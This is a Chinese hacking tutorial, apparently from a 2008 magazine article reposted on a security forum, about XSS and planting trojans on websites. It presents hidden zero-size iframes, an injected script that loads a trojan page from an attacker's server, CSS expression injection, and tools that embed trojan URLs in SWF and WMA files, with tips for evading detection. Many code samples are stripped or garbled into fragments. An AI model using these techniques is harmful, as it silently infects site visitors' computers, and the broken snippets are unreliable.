文章作者：a1pass
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）
原始出处：http://a1pass.blog.163.com/
文章备注：本文发表于《 X档案》08年第5期，与原文有少许出入，跨站挂马全攻略网站安全
。
现在的 攻击手法中，跨站挂马似乎正在逐渐成为攻击的主流话题，鉴于这种形势，俺就把我学习跨站挂马的一点心得总结出来与大家分享。
由于考虑到知识的认知过程以及入门朋友们的技术底子问题，本文将分为“基础知识”、“跨站漏洞”与“挂马技巧”三部分组成，咱们先来学习一下基础知识，以及跨站攻击的利用方法。
一、基础知识
1、什么是UBB码
XSS攻击主要在两种环境下进行，一个是用户自己构造的比标签，构造者汇总标签要严格遵循HTML标记语言，而UBB码是HTML的一个变种，属于系统提供的标签。UBB代码简单，功能很少，但是由于其TAG语法检查实现非常容易，所以许多网站引用了这种代码，以方便广大网友的使用，当然，同时也为我们打开了方便之门。
下面我列出几个例子，以便大家对UBB码有一个感性的认识。
显示为粗体效果：文字
显示为斜体效果：文字
显示文字的超链接：[URL= http://www.hackerxfiles.net/] X档案官方站[/ URL]
通过上面的例子，我们可以看出来UBB码用的是中括号标签“[”与“]”。
为什么介绍这些？因为关键时候，我们借助UBB码也可以达到跨站的效果。
2、什么是HTML输入
大家看到这的时候，有条件的可以打开X档案的网站看看，我们在IE浏览器的页面中单击右键，选择“察看源文件（V）”选项，如图1。
001.jpg(100.62 KB)
2008-8-3 07:09
然后就会弹出如图2那样一个以首页文件命名的记事本。
002.jpg(213.03 KB)
2008-8-3 07:09
我们可以看见里面的代码都是用“<”与“>”括起来的，而这个“<”与“>”分别就是HTML的开始与结束标记。例如我们输入、<"width="120" height="120" />三个单独的语句，我们可爱的
&{[code]}
[N4浏览器]
[IE浏览器]
[N4浏览器]
[N4浏览器]
[IE浏览器]
[Mozilla浏览器]
[IE浏览器]
[IE浏览器]
[\xCO][\xBC]script.>[code][\xCO][\xBC]/script.>
[UTF-8;IE;Opera浏览器]
上面的内容是我参考安全焦点出版的《网络渗透技术》做的摘录。
五、挂马技术
对于挂马，强烈要求大家带着学习的目的去钻研，不要拿出去害自己的同胞……
1、什么是挂马
最近看中央电视台的一个有关于 的节目，字幕上竟然把“挂马”显示成“挂码”！估计是对 技术不了解所致。但是也可以看得出来大家对于挂马技术的陌生。
其实通过名字就可以知道一二，挂马就是指一种将木马程序“挂”到大家比较信赖的网站上，从而使得浏览此网站的网民电脑被非法植入木马的行为。
如果挂马技术比较成熟，被挂马的网站服务人员与浏览此网站的网民一般很难察觉！所以说挂马具有隐藏性好，危害巨大的特点，大家试想一下，如果百度首页被挂马，那么后果会怎样？只需1天就会有上千万人的电脑被非法控制！
2、挂马的原理
关于挂马技术，与XSS基本一致，但貌似比XSS技术的门槛低。而就夸马的方式来说，一个是通过漏洞挂马（例如XSS），一个是通过拥有的绝对权限挂马，例如我们利用WEBShell进行批量挂马。但是不管是利用什么方法，只有我们有良好的挂马代码才会获得比较好的效果……
挂马的基本思想就是利用本地溢出漏洞构造下载执行的ShellCode，从而下载并执行指定的程序，如图8。
008.JPG(84 KB)
2008-8-3 07:09
关于溢出漏洞，可以是IE本身存在的漏洞，可以是与IE有联系的漏洞，例如WORD、FILASH、WMA音频等等，
电脑资料
《跨站挂马全攻略网站安全》(https://www.unjs.com)。3、挂马实战
挂马于XSS一样，都有一个“基本代码”，而挂马的基本代码则是:
通过上面的学习，相信入门的朋友对HTML已经有点了解了吧？我们可以看到这是一个包含< ifarme>标签的代码，< ifarme>标签是用来在网页内嵌入另一个页面的，如图9就是一嵌入页面。
009.jpg(134.7 KB)
2008-8-3 07:09
通过代码我们很容易就能知道他嵌入的是一个宽[width]为500像素，高[height]为100像素的页面，通过对比，我们可以发现本文例子的宽和高都是0，这就起到了隐藏访问木马网页的目的。
但是现在稍微有点安全常识的人都知道查找关键字ifarme了，所以要实行有效的挂马，最好是使用其它的挂马技巧。而另外一个常用的方法就是JS挂马了，这里的JS和我们上面谈到的JavaScript一样，JS挂马当然是先创建JS文件，我们先建一个记事本，将以下代码输入到里面。
Top.document.body.innerHTML = top.document.body.innerHTML +’\r\n
然后依次选择“文件”>“另存为(A)…”保存为.js文件，如图10。将其上传到你所能控制的服务器中。
010.jpg(48.99 KB)
2008-8-3 07:09
现在我们只要在那个网页中插入< script
src=http://你的JS文件保存地址>，以后只要有人浏览这个页面就会偷偷的转向我们JS文件里的http://www.***.com/muma.htm，从而达到挂马的目的。
这种方法很好的避开了关键字ifarme，只要我们的JS文件的名称起的具有迷惑性，一般的应该都可以蒙混过关。如果还想要更加隐蔽的方式，那就只有使用CSS来挂马了。
通过上面的文章大家应该对CSS有所了解，CSS是层叠式样式表的简称，也就是说我们可以利用层叠式样式表来挂马，熟悉网页设计的都知道，凡是比较复杂漂亮的页面，一般都要用到层叠式样式表，而且层叠式样式表的代码繁杂，从而有效地掩护了我们的挂马代码。
我们只要在CSS文件中包含以下代码即可。
Body{
Hytop: expression(op.document.body.innerHTML = top.document.body.innerHTML +’\r\n
}
然后在我们要挂马的页面引用这个CSS文件就可以了，引用代码如下。
有了这三种方法撑腰，你的网马挂的应该算是比较成熟了，但是除此之外，我们还有其它比较另类的挂马方法，正可谓剑走偏锋，出其不意！
第一个要介绍的就是“臭要饭的”写的“IcodeToSWF”，它可以将我们的网页木马地址插入到SWF文件里，当别人兴高采烈的观看动画时，他已经成为我们粥中的肉鸡了！
关于IcodeToSWF的使用方法非常简单，我们代开文件后选择需要插马的SWF文件，然后输入我们的目马网址点击“给我插”就可以了，如图11。
011.jpg(85.92 KB)
2008-8-3 07:09
最近总是听说网易博客中毒了！一听吓我一大跳！网易的BLOG还没智能到可以运行病毒的程度吧？最后经过调查发现，原来是WMA文件 了木马！
于是乎淘到了一款傻瓜化的WMA插马工具，我们只需输入木马地址与音乐地址保存即可，如图12。
012.jpg(48.49 KB)
2008-8-3 07:09
不过这个工具毛病很多，例如WMA音乐的地址最好手动输入，不要粘贴，否则会出问题……
关于挂马就想讲到这里了，结束前在告诉大家一个技巧，关于HTML文件远程访问时我们可以将后缀名改为其它的，例如http://www.***.com/muma.jpg或http://www.***.com/muma.abcd都可以正常执行！除了HTML文件，JS文件也可以这样随意改动后缀名，甚至无后缀名都可以！
关于挂马，我最后要说的一句话就是“害人终害己”，切记！
到这里文章全部结束了，本想讲的更加详细一些，涉及的更广一些，但是想到憧憧不知的菜鸟们，使我努力将文章难度降低，以便于入门朋友的学习。关于这片文章，入门的朋友们不要看到代码就头大，其实大多数只是改个网址就可以应用的，为了方便广大读者，我已经将本文涉及到的所有应用代码整理初来，详情请见光盘。
由于时间仓促，本文难免有错误之处，还请广大读者指正！我的ID是a1pass，大家可以到邪恶八进制的论坛找我。